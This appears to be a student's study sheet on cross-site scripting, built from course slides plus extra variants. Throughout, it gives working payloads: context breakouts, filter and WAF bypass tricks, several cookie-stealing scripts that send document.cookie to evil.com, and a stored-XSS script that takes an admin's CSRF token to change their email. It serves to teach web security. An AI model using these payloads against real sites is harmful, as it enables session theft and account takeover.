

Cross-Site Scripting (XSS)

Injecting malicious JS into pages viewed by other users

How XSS Works

Three entities: Attacker, Victim User (browser), Victim Website (trusted by user). Attacker injects JS into the website. Victim's browser executes it in the context of the trusted site — giving attacker access to cookies, session, DOM.

Reflected	Payload in URL/param echoed back in response. Only harms the victim who clicks the crafted link. Harder — must be timed when user is logged in.
Stored	Payload saved in DB (comments, profiles). Every user who views the page is hit. Most dangerous — no user interaction needed beyond viewing.
DOM-based	JS reads URL/DOM and writes to a dangerous sink (innerHTML, eval). Never touches server. Must audit client-side JS to detect.

Reflected is harder to exploit because the attack must be timed. Stored is persistent — one injection, unlimited victims.

Payloads — From Course Slides

CONTEXT: HTML BODY

SLIDES

```
<script>alert(1)</script>
<script>document.location="http://evil.com/steal.php?cookie="+document.cookie</script>
```

CONTEXT: HTML ATTRIBUTE — SEARCH BOX REFLECTS VALUE="COOKIES"

Server shows prior search inside value="...". Break out of the attribute:

SLIDES

```
# Input: cookies" onmouseover="alert(1)
# Renders as: value="cookies" onmouseover="alert(1)"

# Or close the tag entirely:
"><script>alert(1)</script>
```

CONTEXT: JS STRING — ANGLE BRACKETS ARE ESCAPED BY SERVER

When < and > are HTML-encoded, you cannot inject tags. If input lands inside a JS string, break the string instead:

SLIDES

```
# Input appears in JS as: var x = '[YOUR INPUT]';
# Inject: '; alert(1);//
# Result: var x = ''; alert(1);//'
```

CONTEXT: HREF / SRC ATTRIBUTE

SLIDES

```
# javascript: is a protocol – browser executes what follows as JS
<a href="javascript:alert(1)">click me</a>
# From slides – post-attack stored XSS in a comment link:
<a id="author" href="javascript:alert(1)">KC</a>
```

Payloads — Extra Variants (Not in Slides)

EVENT HANDLERS — NO SCRIPT TAG NEEDED

EXTRA

```
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<input autofocus onfocus=alert(1)>
<details open ontoggle=alert(1)>
<video src=1 onerror=alert(1)>
```

FILTER & WAF BYPASS TRICKS

EXTRA

```
<ScRiPt>alert(1)</ScRiPt> # case variation
<img src=x onerror=alert(1)> # no quotes needed (HTML5)
onerror=&#97;&#108;ert(1) # HTML entities in attr
%253Cscript%253E # double URL encode
<svg><script>alert(1)</script></svg> # SVG namespace
${alert(1)} # template literal if in backtick string
```

Cookie Stealing

Prerequisite: Cookie must NOT have **HttpOnly** flag. If set, document.cookie is inaccessible from JS entirely.

VISIBLE REDIRECT — FROM SLIDES

SLIDES

```
<script>
document.location = "http://evil.com/steal.php?cookie=" + document.cookie;
</script>
# Victim sees the redirect – not stealthy
```

HIDDEN VIA INVISIBLE IFRAME — FROM SLIDES

SLIDES

```
<iframe height="0" width="0" id="XSS" name="XSS"></iframe>
<script>
frames["XSS"].location.href = "http://evil.com/steal.php?cookie=" + document.cookie;
</script>
# iframe is 0x0 px – victim sees nothing on the page
```

HIDDEN VIA IMAGE OBJECT — FROM SLIDES

SLIDES

```
<script>
img = new Image();
img.src = "http://evil.com/steal.php?cookie=" + document.cookie;
</script>
```

```
# No image returned – completely silent, no visible change
```

FETCH-BASED — EXTRA

EXTRA

```
<script>fetch("https://evil.com/?c=" + btoa(document.cookie));</script>
# btoa() base64-encodes – special chars in cookie wont break URL
```

DOM Sinks to Look For in Page JS

Audit the page's JavaScript for these. If user-controlled data flows into any of them, DOM XSS exists:

innerHTML = x	Injects raw HTML+JS — most common DOM XSS sink
document.write(x)	Writes raw HTML directly to page
eval(x)	Executes string as JS
setTimeout(x, n)	Executes string arg as JS
location.href = x	javascript: URI executes JS
src / href = x	Setting these to javascript: or data: URIs

Sources to trace from: location.search, location.hash, location.href, document.referrer, window.name, postMessage data

Advanced: Stored XSS to Bypass CSRF Token

Scenario (from slides): change-email is protected by CSRF token. Direct CSRF fails. But a comments field has stored XSS.

Attack: Inject XSS payload. When admin views the comment, the JS fetches their CSRF token from the account page, then immediately POSTs a change-email with the stolen token.

SLIDES

```
<script>
var req = new XMLHttpRequest();
req.onload = function() {
  // Parse CSRF token out of the returned page HTML
  var token = this.responseText.match(/name="csrf" value="([^\"]+)"/)[1];
  var req2 = new XMLHttpRequest();
  req2.open("POST", "https://victim.com/my-account/change-email", true);
  req2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
  req2.send("email=attacker@evil.com&csrf=" + token);
};
req.open("GET", "https://victim.com/my-account", true);
req.send();
</script>
```

Context Breakout Quick Reference

Context	Payload	Why it works
HTML body	<code><script>alert(1)</script></code>	Direct JS execution
HTML attr value	<code>" onmouseover="alert(1)</code>	Closes attr, adds event
HTML attr value	<code>"><script>alert(1)</script></code>	Closes tag, injects new
JS string (single q)	<code>'; alert(1);//</code>	Breaks out of string
JS string (double q)	<code>"; alert(1);//</code>	Same, double quote
href / src	<code>javascript:alert(1)</code>	Protocol runs as JS
title / textarea	<code></title><script>alert(1)</script></code>	Escapes element

Ref: portswigger.net/web-security/cross-site-scripting | Recommended: z3nsh3ll YouTube (noted in slides)